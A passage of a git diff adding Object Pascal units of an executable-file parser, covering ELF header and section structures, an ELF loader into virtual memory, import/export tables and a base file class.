e_phentsize: Elf32_Half; + e_phnum: Elf32_Half; + e_shentsize: Elf32_Half; + e_shnum: Elf32_Half; + e_shstrndx: Elf32_Half; + end; + TElf64Header = Elf64_Ehdr; + + TElf32SectionHeader = record + sh_name: Elf32_Word; // This member specifies the name of the section. Its value is an index into the section + // header string table section [see String Table below], giving the location of a null- + // terminated string. + sh_type: Elf32_Word; + sh_flags: Elf32_Word; + sh_addr: Elf32_Addr; + sh_offset: Elf32_Off; + sh_size: Elf32_Word; + sh_link: Elf32_Word; + sh_info: Elf32_Word; + sh_addralign: Elf32_Word; + sh_entsize: Elf32_Half; + end; + PElf32SectionHeader = ^TElf32SectionHeader; + + TElf64SectionHeader = record + sh_name: Elf32_Word; + sh_type: Elf32_Word; + sh_flags: Elf64_Xword; + sh_addr: Elf64_Addr; + sh_offset: Elf64_Off; + sh_size: Elf64_Xword; + sh_link: Elf32_Word; + sh_info: Elf32_Word; + sh_addralign: Elf64_Xword; + sh_entsize: Elf64_Xword; + end; + PElf64SectionHeader = ^TElf64SectionHeader; + + Elf32_Phdr = record + p_type: Elf32_Word; + p_offset: Elf32_Off; + p_vaddr: Elf32_Addr; + p_paddr: Elf32_Addr; + p_filesz: Elf32_Word; + p_memsz: Elf32_Word; + p_flags: Elf32_Word; + p_align: Elf32_Word; + end; + TElf32ProgramHeader = Elf32_Phdr; + Elf64_Phdr = record + p_type: Elf64_Word; + p_flags: Elf64_Word; + p_offset: Elf64_Off; + p_vaddr: Elf64_Addr; + p_paddr: Elf64_Addr; + p_filesz: Elf64_Xword; + p_memsz: Elf64_Xword; + p_align: Elf64_Xword; + end; + TElf64ProgramHeader = Elf64_Phdr; + +const + // p_type + PT_NULL = 0; + PT_LOAD = 1; + PT_DYNAMIC = 2; + PT_INTERP = 3; + PT_NOTE = 4; + PT_SHLIB = 5; + PT_PHDR = 6; + PT_LOPROC = $70000000; + PT_HIPROC = $7fffffff; + +type + TElf32_Sym = record + st_name: Elf32_Word; // An index into the object file's symbol string table, + // which holds the character representations of the symbol names. + // If the value is nonzero, it represents a string table index + // that gives the symbol name. Otherwise, the symbol table entry has no name. + st_value: Elf32_Addr; // The value of the associated symbol. Depending on the context, + // this can be an absolute value, an address, and so forth. + st_size: Elf32_Word; // Many symbols have associated sizes. For example, a data object's size is + // the number of bytes contained in the object. This member holds 0 if the + // symbol has no size or an unknown size. + st_info: Byte; + st_other: Byte; + st_shndx: Elf32_Section; // Every symbol table entry is defined in relation to some section. + // This member holds the relevant section header table index + end; + + TElf64_Sym = record + st_name: Elf64_Word; + st_info: Byte; + st_other: Byte; + st_shndx: Elf64_Section; + st_value: Elf64_Addr; + st_size: Elf64_Xword; + end; + +function GetSecCharacteristicsString(const Characteristics: Cardinal): string; +function GetTypeString(const e_type: Elf32_Half): string; +function GetMachineString(const e_machine: Elf32_Half): string; +function GetIdentString(const e_ident: array of Byte): string; +function GetIdentHexString(const e_ident: array of Byte): string; +function GetElfTypeString(const sh_type: Elf32_Word): string; + +implementation + +function GetElfTypeString(const sh_type: Elf32_Word): string; +begin + case sh_type of + SHT_NULL: Result := 'SHT_NULL'; + SHT_PROGBITS: Result := 'SHT_PROGBITS'; + SHT_SYMTAB: Result := 'SHT_SYMTAB'; + SHT_STRTAB: Result := 'SHT_STRTAB'; + SHT_RELA: Result := 'SHT_RELA'; + SHT_HASH: Result := 'SHT_HASH'; + SHT_DYNAMIC: Result := 'SHT_DYNAMIC'; + SHT_NOTE: Result := 'SHT_NOTE'; + SHT_NOBITS: Result := 'SHT_NOBITS'; + SHT_REL: Result := 'SHT_REL'; + SHT_SHLIB: Result := 'SHT_SHLIB'; + SHT_DYNSYM: Result := 'SHT_DYNSYM'; + SHT_NUM: Result := 'SHT_NUM'; + SHT_LOPROC: Result := 'SHT_LOPROC'; + SHT_HIPROC: Result := 'SHT_HIPROC'; + SHT_LOUSER: Result := 'SHT_LOUSER'; + SHT_HIUSER: Result := 'SHT_HIUSER'; + else + Result := 'Unknown'; + end; +end; + +function GetIdentHexString(const e_ident: array of Byte): string; +var + i: integer; +begin + Result := ''; + for i := 0 to EI_NIDENT - 1 do begin + if e_ident[i] <> 0 then + Result := Result + IntToHex(Integer(e_ident[i]), 2); + end; +end; + +function GetIdentString(const e_ident: array of Byte): string; +var + i: integer; +begin + Result := ''; + for i := 0 to EI_NIDENT - 1 do begin + if e_ident[i] <> 0 then + Result := Result + Char(e_ident[i]) + else + Break; + end; +end; + +function GetSecCharacteristicsString(const Characteristics: Cardinal): string; +begin + Result := ''; + if Characteristics <> 0 then begin + if (Characteristics and SHF_WRITE) = SHF_WRITE then + Result := Result + 'SHF_WRITE | '; + if (Characteristics and SHF_ALLOC) = SHF_ALLOC then + Result := Result + 'SHF_ALLOC | '; + if (Characteristics and SHF_EXECINSTR) = SHF_EXECINSTR then + Result := Result + 'SHF_EXECINSTR | '; + if (Characteristics and SHF_MASKPROC) = SHF_MASKPROC then + Result := Result + 'SHF_MASKPROC | '; + + if Result <> '' then + Delete(Result, Length(Result) - 2, MaxInt); + end else + Result := '0'; +end; + +function GetTypeString(const e_type: Elf32_Half): string; +begin + case e_type of + ET_NONE: + Result := 'ET_NONE'; + ET_REL: + Result := 'ET_REL'; + ET_EXEC: + Result := 'ET_EXEC'; + ET_DYN: + Result := 'ET_DYN'; + ET_CORE: + Result := 'ET_CORE'; + ET_LOPROC: + Result := 'ET_LOPROC'; + ET_HIPROC: + Result := 'ET_HIPROC'; + else + Result := Format('Unknown %d', [e_type]); + end; +end; + +function GetMachineString(const e_machine: Elf32_Half): string; +begin + case e_machine of + ET_NONE: + Result := 'ET_NONE'; + EM_M32: + Result := 'EM_M32'; + EM_SPARC: + Result := 'EM_SPARC'; + EM_386: + Result := 'EM_386'; + EM_68K: + Result := 'EM_68K'; + EM_88K: + Result := 'EM_88K'; + EM_860: + Result := 'EM_860'; + EM_MIPS: + Result := 'EM_MIPS'; + EM_PPC: + Result := 'EM_PPC'; + EM_ARM: + Result := 'EM_ARM'; + EM_SUPERH: + Result := 'EM_SUPERH'; + EM_IA64: + Result := 'EM_IA64'; + EM_X86_64: + Result := 'EM_X86_64'; + EM_AARCH64: + Result := 'EM_AARCH64'; + else + Result := Format('Unknown %d', [e_machine]); + end; +end; + +end. diff --git a/Core/pesp/PseElfFile.pas b/Core/pesp/PseElfFile.pas new file mode 100644 index 0000000..f1e007e --- /dev/null +++ b/Core/pesp/PseElfFile.pas @@ -0,0 +1,403 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseElfFile; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseFile, PseElf, PseSection, PseCmn; + +type + { + ELF files, used on UNIXOIDE. + + References + TIS Committee. Tool Interface Standard (TIS) Executable and Linking + Format (ELF) Specification. TIS Committee, 1995. + } + TPseElfFile = class(TPseFile) + private + FFileHeader32: TElf32Header; + FFileHeader64: TElf64Header; + FProgramHeader32: array of TElf32ProgramHeader; + FProgramHeader64: array of TElf64ProgramHeader; + FSizeOfImage: Cardinal; + function GetMachine: Elf32_Half; + procedure ReadExports; + procedure ReadImports; + procedure ReadSections; + procedure ReadProgramHeaders; + function ReadSectionString(const Index: integer): string; + procedure UpdateSectionNames; + protected + public + constructor Create; override; + destructor Destroy; override; + function LoadFromStream(Stream: TStream): boolean; override; + procedure SaveSectionToStream(const ASection: integer; Stream: TStream); override; + function GetArch: TPseArch; override; + function GetMode: TPseMode; override; + function GetFirstAddr: UInt64; override; + function GetEntryPoint: UInt64; override; + + function GetImageBase: UInt64; + function GetSizeOfImage: Cardinal; + + function GetFriendlyName: string; override; + + property FileHeader32: TElf32Header read FFileHeader32; + property FileHeader64: TElf64Header read FFileHeader64; + end; + +implementation + +uses + Math; + +constructor TPseElfFile.Create; +begin + inherited; +end; + +destructor TPseElfFile.Destroy; +begin + inherited; +end; + +function TPseElfFile.LoadFromStream(Stream: TStream): boolean; +begin + Result := inherited; + if Result then begin + FStream.Position := 0; + FStream.Read(FFileHeader32, SizeOf(TElf32Header)); + + // Check for ELF format + if FFileHeader32.e_ident[EI_MAG0] <> $7f then + Exit(false); + if FFileHeader32.e_ident[EI_MAG1] <> Ord('E') then + Exit(false); + if FFileHeader32.e_ident[EI_MAG2] <> Ord('L') then + Exit(false); + if FFileHeader32.e_ident[EI_MAG3] <> Ord('F') then + Exit(false); + + // 32 or 64 Bit + if FFileHeader32.e_ident[EI_CLASS] = ELFCLASS64 then + FBitness := pseb64 + else + FBitness := pseb32; + if Is64 then begin + // Read 64 bit header, differs in size + FStream.Position := 0; + FStream.Read(FFileHeader64, SizeOf(TElf64Header)); + end; + + ReadProgramHeaders; + ReadSections; + ReadImports; + ReadExports; + end; +end; + +function TPseElfFile.GetFirstAddr: UInt64; +var + i: integer; + sec: TPseSection; + ep: UInt64; +begin + // In contrast to PE files, ELF files do not define an image base, so + // find the section with the entry point and return its target address + ep := GetEntryPoint; + for i := 0 to FSections.Count - 1 do begin + sec := FSections[i]; + if (saCode in sec.Attribs) or ((saExecuteable in sec.Attribs)) then begin + // Section must be executeable + if (ep >= sec.Address) and (ep <= (sec.Address + sec.Size)) then begin + // Entrypoint is inside the section + Result := sec.Address; + Exit; + end; + end; + end; + Result := 0; +end; + +function TPseElfFile.GetEntryPoint: UInt64; +begin + if IS64 then + Result := FFileHeader64.e_entry + else + Result := FFileHeader32.e_entry; +end; + +procedure TPseElfFile.UpdateSectionNames; +var + i: integer; + sec: TPseSection; +begin + for i := 0 to FSections.Count - 1 do begin + sec := FSections[i]; + sec.Name := ReadSectionString(sec.NameIndex); + end; +end; + +procedure TPseElfFile.ReadExports; +begin + +end; + +procedure TPseElfFile.ReadImports; +begin + +end; + +function TPseElfFile.ReadSectionString(const Index: integer): string; +var + cur_pos: Int64; + name: array[0..255] of AnsiChar; + strtab: TPseSection; +begin + Result := '(Unknown)'; + if Index = 0 then + Exit; + + if IS64 then begin + if FFileHeader64.e_shstrndx = SHN_UNDEF then + Exit; + strtab := FSections[FFileHeader64.e_shstrndx]; + FStream.Seek(strtab.FileOffset + Index, soFromBeginning); + end else begin + if FFileHeader32.e_shstrndx = SHN_UNDEF then + Exit; + strtab := FSections[FFileHeader32.e_shstrndx]; + FStream.Seek(strtab.FileOffset + Index, soFromBeginning); + end; + + cur_pos := FStream.Position; + FStream.Read(name, 256); + FStream.Position := cur_pos; + Result := string(StrPas(PAnsiChar(@name))); +end; + +procedure TPseElfFile.ReadSections; +var + n, i: integer; + sec32: TElf32SectionHeader; + sec64: TElf64SectionHeader; + sec: TPseSection; + attribs: TSectionAttribs; +begin + FSections.Clear; + FSizeOfImage := 0; + + if IS64 then begin + FStream.Seek(FFileHeader64.e_shoff, soFromBeginning); + n := FFileHeader64.e_shnum; + + for i := 0 to n - 1 do begin + attribs := []; + FStream.Read(sec64, SizeOf(TElf64SectionHeader)); + sec := FSections.New; + sec.FileOffset := sec64.sh_offset; + sec.NameIndex := sec64.sh_name; + sec.Address := sec64.sh_addr; + sec.Size := sec64.sh_size; + sec.OrigAttribs := sec64.sh_flags; + sec.ElfType := sec64.sh_type; + if sec64.sh_type = SHT_PROGBITS then + Include(attribs, saCode) + else if sec64.sh_type = SHT_STRTAB then + Include(attribs, saStringTable) + else if sec64.sh_type = SHT_SYMTAB then + Include(attribs, saSymbolTable) + else if sec64.sh_type = SHT_NULL then + // Don't show in sections tree + Include(attribs, saNull); + + if (sec64.sh_flags and SHF_EXECINSTR) = SHF_EXECINSTR then + Include(attribs, saExecuteable); + if (sec64.sh_flags and SHF_ALLOC) = SHF_ALLOC then + Include(attribs, saReadable); + if (sec64.sh_flags and SHF_WRITE) = SHF_WRITE then + Include(attribs, saWriteable); + sec.Attribs := attribs; + + if sec64.sh_addr <> 0 then + Inc(FSizeOfImage, sec64.sh_size); + end; + end else begin + FStream.Seek(FFileHeader32.e_shoff, soFromBeginning); + n := FFileHeader32.e_shnum; + for i := 0 to n - 1 do begin + attribs := []; + FStream.Read(sec32, SizeOf(TElf32SectionHeader)); + sec := FSections.New; + sec.FileOffset := sec32.sh_offset; + sec.NameIndex := sec32.sh_name; + sec.Address := sec32.sh_addr; + sec.Size := sec32.sh_size; + sec.OrigAttribs := sec32.sh_flags; + sec.ElfType := sec32.sh_type; + if sec32.sh_type = SHT_PROGBITS then + Include(attribs, saCode) + else if sec32.sh_type = SHT_STRTAB then + Include(attribs, saStringTable) + else if sec32.sh_type = SHT_SYMTAB then + Include(attribs, saSymbolTable) + else if sec32.sh_type = SHT_NULL then + Include(attribs, saNull); + + if (sec32.sh_flags and SHF_EXECINSTR) = SHF_EXECINSTR then + Include(attribs, saExecuteable); + sec.Attribs := attribs; + + if sec32.sh_addr <> 0 then + Inc(FSizeOfImage, sec32.sh_size); + end; + end; + // Now update section names, string table secion should be loaded + UpdateSectionNames; +end; + +procedure TPseElfFile.ReadProgramHeaders; +var + i, n: integer; +begin + if IS64 then begin + FStream.Seek(FFileHeader64.e_phoff, soFromBeginning); + n := FFileHeader64.e_phnum; + SetLength(FProgramHeader64, n); + for i := 0 to n - 1 do begin + FStream.Read(FProgramHeader64[i], FFileHeader64.e_phentsize); + end; + end else begin + FStream.Seek(FFileHeader32.e_phoff, soFromBeginning); + n := FFileHeader32.e_phnum; + SetLength(FProgramHeader32, n); + for i := 0 to n - 1 do begin + FStream.Read(FProgramHeader32[i], FFileHeader32.e_phentsize); + end; + end; +end; + +procedure TPseElfFile.SaveSectionToStream(const ASection: integer; Stream: TStream); +var + sec: TPseSection; + o, s: Int64; +begin + sec := FSections[ASection]; + o := sec.FileOffset; + FStream.Seek(o, soFromBeginning); + s := Min(Int64(sec.Size), Int64(FStream.Size - o)); + Stream.CopyFrom(FStream, s); +end; + +function TPseElfFile.GetImageBase: UInt64; +var + i: integer; +begin + Result := $FFFFFFFFFFFFFF; + if Is64 then begin + for i := Low(FProgramHeader64) to High(FProgramHeader64) do begin + if (FProgramHeader64[i].p_type = PT_LOAD) and (Result > FProgramHeader64[i].p_vaddr) then + Result := FProgramHeader64[i].p_vaddr; + end; + end else begin + for i := Low(FProgramHeader32) to High(FProgramHeader32) do begin + if (FProgramHeader32[i].p_type = PT_LOAD) and (Result > FProgramHeader32[i].p_vaddr) then + Result := FProgramHeader32[i].p_vaddr; + end; + end; +end; + +function TPseElfFile.GetSizeOfImage: Cardinal; +begin + Result := FSizeOfImage; +end; + +function TPseElfFile.GetMachine: Elf32_Half; +begin + if IS64 then + Result := FFileHeader64.e_machine + else + Result := FFileHeader32.e_machine; +end; + +function TPseElfFile.GetArch: TPseArch; +begin + case GetMachine of + EM_386, + EM_X86_64: + begin + Result := pseaX86; + end; + EM_MIPS: + begin + Result := pseaMIPS; + end; + EM_PPC: + begin + Result := pseaPPC; + end; + EM_ARM: + begin + Result := pseaARM; + end; + EM_AARCH64: + begin + Result := pseaARM64; + end; + else + Result := pseaUnknown; + end; +end; + +function TPseElfFile.GetMode: TPseMode; +begin + Result := []; + case GetMachine of + EM_ARM, EM_AARCH64: + Include(Result, psemARM); + EM_386: + Include(Result, psem32); + EM_X86_64: + Include(Result, psem64); + EM_PPC: + begin + if Is64 then + Include(Result, psem64); + end; + end; + if IS64 then begin + if FFileHeader64.e_ident[EI_DATA] = ELFDATA2LSB then + Include(Result, psemLittleEndian) + else + Include(Result, psemBigEndian); + end else begin + if FFileHeader32.e_ident[EI_DATA] = ELFDATA2LSB then + Include(Result, psemLittleEndian) + else + Include(Result, psemBigEndian); + end; +end; + +function TPseElfFile.GetFriendlyName: string; +begin + Result := 'ELF'; + if Is64 then + Result := Result + '64' + else + Result := Result + '32'; +end; + +initialization + +end. diff --git a/Core/pesp/PseElfLoader.pas b/Core/pesp/PseElfLoader.pas new file mode 100644 index 0000000..b4319bb --- /dev/null +++ b/Core/pesp/PseElfLoader.pas @@ -0,0 +1,55 @@ +unit PseElfLoader; + +interface + +uses + Classes, PseImgLoader, PseSection, PseVirtMem; + +type + TPseElfLoader = class(TPseImgLoader) + private + procedure LoadSection(AMem: TPseVirtMem; ASection: TPseSection); + public + procedure Load(AMem: TPseVirtMem); override; + end; + +implementation + +procedure TPseElfLoader.Load(AMem: TPseVirtMem); +var + i: integer; +begin + for i := 0 to FFile.Sections.Count - 1 do begin + LoadSection(AMem, FFile.Sections[i]); + end; +end; + +procedure TPseElfLoader.LoadSection(AMem: TPseVirtMem; ASection: TPseSection); +var + seg: TPseMemSegment; + flags: TPseMemFlags; + ms: TMemoryStream; +begin + flags := []; + if (saReadable in ASection.Attribs) then + Include(flags, pmfRead); + if (saWriteable in ASection.Attribs) then + Include(flags, pmfWrite); + if (saExecuteable in ASection.Attribs) then + Include(flags, pmfExecute); + if flags <> [] then begin + seg := AMem.CreateSegment(ASection.Name, ASection.Address, + ASection.Size, [pmfWrite]); + ms := TMemoryStream.Create; + try + ASection.SaveToStream(ms); + ms.Position := 0; + seg.Write(ASection.Address, ms.Memory^, ASection.Size); + finally + ms.Free; + end; + seg.Flags := flags; + end; +end; + +end. diff --git a/Core/pesp/PseExportTable.pas b/Core/pesp/PseExportTable.pas new file mode 100644 index 0000000..f206500 --- /dev/null +++ b/Core/pesp/PseExportTable.pas @@ -0,0 +1,83 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseExportTable; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, + {$ifdef FPC} + fgl + {$else} + Generics.Collections + {$endif} + ; + +type + TPseExport = class + private + FName: string; + FOrdinal: integer; + FAddress: UInt64; + public + property Name: string read FName write FName; + property Ordinal: integer read FOrdinal write FOrdinal; + property Address: UInt64 read FAddress write FAddress; + end; + +type +{$ifdef FPC} + TExportList = TFPGList<TPseExport>; +{$else} + TExportList = TList<TPseExport>; +{$endif} + + TPseExportTable = class(TExportList) + private + FNumNames: integer; + FNumFuncs: integer; + FBase: UInt64; + FName: string; + public + destructor Destroy; override; + procedure Clear; + function New: TPseExport; + + property NumNames: integer read FNumNames write FNumNames; + property NumFuncs: integer read FNumFuncs write FNumFuncs; + property Base: UInt64 read FBase write FBase; + property Name: string read FName write FName; + end; + +implementation + +destructor TPseExportTable.Destroy; +begin + Clear; + inherited; +end; + +procedure TPseExportTable.Clear; +var + i: integer; +begin + for i := 0 to Count - 1 do + Items[i].Free; + inherited; +end; + +function TPseExportTable.New: TPseExport; +begin + Result := TPseExport.Create; + Add(Result); +end; + +end. diff --git a/Core/pesp/PseFile.pas b/Core/pesp/PseFile.pas new file mode 100644 index 0000000..6fff850 --- /dev/null +++ b/Core/pesp/PseFile.pas @@ -0,0 +1,249 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseFile; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseSection, PseExportTable, PseImportTable, PseDebugInfo, + PseCmn, PseResource, +{$ifdef FPC} + fgl +{$else} + Generics.Collections +{$endif} + ; + + +type + TPseFileClass = class of TPseFile; + { + Base class + } + TPseFile = class(TPersistent) + private + protected + FStream: TStream; + FFilename: string; + FSections: TPseSectionList; + FExports: TPseExportTable; + FImports: TPseImportTable; + FResources: TPseResourceList; + FDebugInfo: TPseDebugInfo; + FBitness: TPseBitness; + FReadDebugInfo: boolean; + function GetHasDebugInfo: boolean; + function GetIs64: boolean; + public + constructor Create; virtual; + destructor Destroy; override; + function LoadFromFile(const AFilename: string): boolean; virtual; + function LoadFromStream(Stream: TStream): boolean; virtual; + function GetEntryPoint: UInt64; virtual; abstract; + function GetArch: TPseArch; virtual; abstract; + function GetMode: TPseMode; virtual; abstract; + function GetFirstAddr: UInt64; virtual; abstract; + function GetInitStackSize: UInt64; virtual; + function GetMaxStackSize: UInt64; virtual; + function GetInitHeapSize: UInt64; virtual; + function GetMaxHeapSize: UInt64; virtual; + procedure SaveSectionToStream(const ASection: integer; Stream: TStream); virtual; abstract; + + function GetFriendlyName: string; virtual; + + property Filename: string read FFilename; + property Sections: TPseSectionList read FSections; + property ExportTable: TPseExportTable read FExports; + property ImportTable: TPseImportTable read FImports; + property Resources: TPseResourceList read FResources; + property Stream: TStream read FStream; + property Is64: boolean read GetIs64; + property Bitness: TPseBitness read FBitness default psebUnknown; + property HasDebugInfo: boolean read GetHasDebugInfo; + property DebugInfo: TPseDebugInfo read FDebugInfo; + property ReadDebugInfo: boolean read FReadDebugInfo write FReadDebugInfo; + + class procedure RegisterFile(AClass: TPseFileClass; const AIndex: integer = -1); + class function GetInstance(const AFilename: string; const AWidthDebugInfo: boolean): TPseFile; overload; + class function GetInstance(Stream: TStream; const AWidthDebugInfo: boolean): TPseFile; overload; + end; + +implementation + +uses + PseRawFile; + +type +{$ifdef FPC} + TPseFilesList = TFPGList<TPseFileClass>; +{$else} + TPseFilesList = TList<TPseFileClass>; +{$endif} + +var + gPseFiles: TPseFilesList = nil; + +class procedure TPseFile.RegisterFile(AClass: TPseFileClass; const AIndex: integer = -1); +begin + if gPseFiles = nil then + gPseFiles := TPseFilesList.Create; + if gPseFiles.IndexOf(AClass) = -1 then begin + if AIndex = -1 then + gPseFiles.Add(AClass) + else + gPseFiles.Insert(AIndex, AClass); + end; +end; + +class function TPseFile.GetInstance(const AFilename: string; const AWidthDebugInfo: boolean): TPseFile; +var + i: integer; + cls: TPseFileClass; +begin + Result := nil; + if gPseFiles <> nil then begin + for i := 0 to gPseFiles.Count - 1 do begin + cls := gPseFiles[i]; + Result := cls.Create; + Result.ReadDebugInfo := AWidthDebugInfo; + if Result.LoadFromFile(AFilename) then + Exit; + if Assigned(Result) then + FreeAndNil(Result); + end; + Result := TPseRawFile.Create; + if Result.LoadFromFile(AFilename) then + Exit; + + if Assigned(Result) then + FreeAndNil(Result); + end; +end; + +class function TPseFile.GetInstance(Stream: TStream; const AWidthDebugInfo: boolean): TPseFile; +var + i: integer; + cls: TPseFileClass; +begin + Result := nil; + if gPseFiles <> nil then begin + for i := 0 to gPseFiles.Count - 1 do begin + cls := gPseFiles[i]; + Result := cls.Create; + Result.ReadDebugInfo := AWidthDebugInfo; + if Result.LoadFromStream(Stream) then + Exit; + if Assigned(Result) then + FreeAndNil(Result); + end; + Result := TPseRawFile.Create; + if Result.LoadFromStream(Stream) then + Exit; + + if Assigned(Result) then + FreeAndNil(Result); + end; +end; + +constructor TPseFile.Create; +begin + inherited; + FStream := TMemoryStream.Create; + FSections := TPseSectionList.Create(Self); + FExports := TPseExportTable.Create; + FImports := TPseImportTable.Create(Self); + FResources := TPseResourceList.Create(Self); + FDebugInfo := TPseDebugInfo.Create; + FBitness := psebUnknown; +end; + +destructor TPseFile.Destroy; +begin + FDebugInfo.Free; + FSections.Free; + FExports.Free; + FImports.Free; + FResources.Free; + FStream.Free; + inherited; +end; + +function TPseFile.GetIs64: boolean; +begin + Result := Fbitness = pseb64; +end; + +function TPseFile.GetInitStackSize: UInt64; +begin + Result := 4096; +end; + +function TPseFile.GetMaxStackSize: UInt64; +begin + Result := 1048576; +end; + +function TPseFile.GetInitHeapSize: UInt64; +begin + Result := 4096; +end; + +function TPseFile.GetMaxHeapSize: UInt64; +begin + Result := 1048576; +end; + +function TPseFile.GetHasDebugInfo: boolean; +begin + Result := not FDebugInfo.IsEmpty; +end; + +function TPseFile.LoadFromFile(const AFilename: string): boolean; +var + fs: TFileStream; +begin + try + fs := TFileStream.Create(AFilename, fmOpenRead or fmShareDenyNone); + try + FFilename := AFilename; + Result := LoadFromStream(fs); + finally + fs.Free; + end; + except + Result := false; + end; +end; + +function TPseFile.LoadFromStream(Stream: TStream): boolean; +begin + try + TMemoryStream(FStream).Clear; + Stream.Position := 0; + FStream.CopyFrom(Stream, Stream.Size); + Result := true; + except + Result := false; + end; +end; + +function TPseFile.GetFriendlyName: string; +begin + Result := 'Unknown'; +end; + +initialization + +finalization + if Assigned(gPseFiles) then + gPseFiles.Free; + +end. diff --git a/Core/pesp/PseImgLoader.pas b/Core/pesp/PseImgLoader.pas new file mode 100644 index 0000000..2ecbec4 --- /dev/null +++ b/Core/pesp/PseImgLoader.pas @@ -0,0 +1,61 @@ +unit PseImgLoader; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + Classes, PseFile, PseVirtMem; + +type + TPseImgLoader = class + protected + FFile: TPseFile; + public + constructor Create(AFile: TPseFile); virtual; + procedure Load(AMem: TPseVirtMem); virtual; abstract; + + class function GetInstance(AFile: TPseFile): TPseImgLoader; + class function LoadFile(AFile: TPseFile; AMem: TPseVirtMem): boolean; + end; + +implementation + +uses + PsePeFile, PsePeLoader, PseElfLoader, PseElfFile; + +class function TPseImgLoader.GetInstance(AFile: TPseFile): TPseImgLoader; +begin + if AFile is TPsePeFile then + Result := TPsePeLoader.Create(AFile) + else if AFile is TPseElfFile then + Result := TPseElfLoader.Create(AFile) + else + Result := nil; +end; + +class function TPseImgLoader.LoadFile(AFile: TPseFile; AMem: TPseVirtMem): boolean; +var + ldr: TPseImgLoader; +begin + ldr := TPseImgLoader.GetInstance(AFile); + if Assigned(ldr) then begin + try + ldr.Load(AMem); + Result := true; + finally + ldr.Free; + end; + end else + Result := false; +end; + +constructor TPseImgLoader.Create(AFile: TPseFile); +begin + inherited Create; + FFile := AFile; +end; + +end. diff --git a/Core/pesp/PseImportTable.pas b/Core/pesp/PseImportTable.pas new file mode 100644 index 0000000..6a3de29 --- /dev/null +++ b/Core/pesp/PseImportTable.pas @@ -0,0 +1,177 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseImportTable; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, + {$ifdef FPC} + fgl + {$else} + Generics.Collections + {$endif} + ; + +type + TPseImport = class; + TPseImportTable = class; + + TPseApi = class + private + FName: string; + FAddress: UInt64; + FHint: Word; + FOwner: TPseImport; + public + constructor Create(AOwner: TPseImport); + function GetFullName: string; + + property Name: string read FName write FName; + property Hint: Word read FHint write FHint; + property Address: UInt64 read FAddress write FAddress; + end; + + {$ifdef FPC} + TApiList = TFPGList<TPseApi>; + TImportList = TFPGList<TPseImport>; + {$else} + TApiList = TList<TPseApi>; + TImportList = TList<TPseImport>; + {$endif} + + TPseImport = class(TApiList) + private + FDllName: string; + FIatRva : UInt64; + FHandle: THandle; + FDelayLoad: boolean; + FOwner: TPseImportTable; + public + constructor Create(Owner: TPseImportTable); + destructor Destroy; override; + procedure Clear; + function New: TPseApi; + function Find(const AAddress: UInt64): TPseApi; + property IatRva: UInt64 read FIatRva write FIatRva; + property DllName: string read FDllName write FDllName; + property DelayLoad: boolean read FDelayLoad write FDelayLoad; + end; + + TPseImportTable = class(TImportList) + private + FOwner: TObject; + public + constructor Create(Owner: TObject); + destructor Destroy; override; + procedure Clear; + function New: TPseImport; + function FindApi(const AAddress: UInt64): TPseApi; + end; + +implementation + +uses + PseFile; + +constructor TPseApi.Create(AOwner: TPseImport); +begin + inherited Create; + FOwner := AOwner; +end; + +function TPseApi.GetFullName: string; +begin + if Assigned(FOwner) and (FOwner.DllName <> '') then + Result := FOwner.DllName + '!'; + Result := Result + FName; +end; + +constructor TPseImport.Create(Owner: TPseImportTable); +begin + inherited Create; + FOwner := Owner; + FHandle := 0; +end; + +destructor TPseImport.Destroy; +begin + Clear; + inherited; +end; + +function TPseImport.New: TPseApi; +begin + Result := TPseApi.Create(Self); + Add(Result); +end; + +procedure TPseImport.Clear; +var + i: integer; +begin + for i := 0 to Count - 1 do + Items[i].Free; + inherited; +end; + +function TPseImport.Find(const AAddress: UInt64): TPseApi; +var + i: integer; +begin + for i := 0 to Count - 1 do begin + Result := Items[i]; + if Result.Address = AAddress then + Exit; + end; + Result := nil; +end; + +constructor TPseImportTable.Create(Owner: TObject); +begin + inherited Create; + FOwner := Owner; +end; + +destructor TPseImportTable.Destroy; +begin + Clear; + inherited; +end; + +procedure TPseImportTable.Clear; +var + i: integer; +begin + for i := 0 to Count - 1 do + Items[i].Free; + inherited; +end; + +function TPseImportTable.New: TPseImport; +begin + Result := TPseImport.Create(Self); + Add(Result); +end; + +function TPseImportTable.FindApi(const AAddress: UInt64): TPseApi; +var + i: integer; +begin + for i := 0 to Count - 1 do begin + Result := Items[i].Find(AAddress); + if Result <> nil then + Exit; + end; + Result := nil; +end; + +end. diff --git a/Core/pesp/PseLibFile.pas b/Core/pesp/PseLibFile.pas new file mode 100644 index 0000000..98f85e9 --- /dev/null +++ b/Core/pesp/PseLibFile.pas @@ -0,0 +1,37 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseLibFile; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseFile; + +type + { + COFF archive format: .lib, MinGW .a files. + May (static lib file) or may not (dynamic lib file) the contents of one or + more COFF OBJ files. + + References + Micosoft. Microsoft Portable Executable and Common Object File Format + Specification. Microsoft, February 2013. + } + TLibFile = class(TPseFile) + + end; + +implementation + +initialization +// TSadFile.RegisterFile(TLibFile, 2); + +end. diff --git a/Core/pesp/PseMapFileReader.pas b/Core/pesp/PseMapFileReader.pas new file mode 100644 index 0000000..b37728d --- /dev/null +++ b/Core/pesp/PseMapFileReader.pas @@ -0,0 +1,172 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseMapFileReader; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseDebugInfo; + +type + { + http://www.codeproject.com/Articles/3472/Finding-crash-information-using-the-MAP-file + https://code.google.com/p/map2dbg/source/browse/trunk/map2dbg/convert.cpp + } + + TMapFileType = (mftUnknown, mftByName, mftByValue); + TMangeling = (mUnknown, mNotMangled, mMangled); + 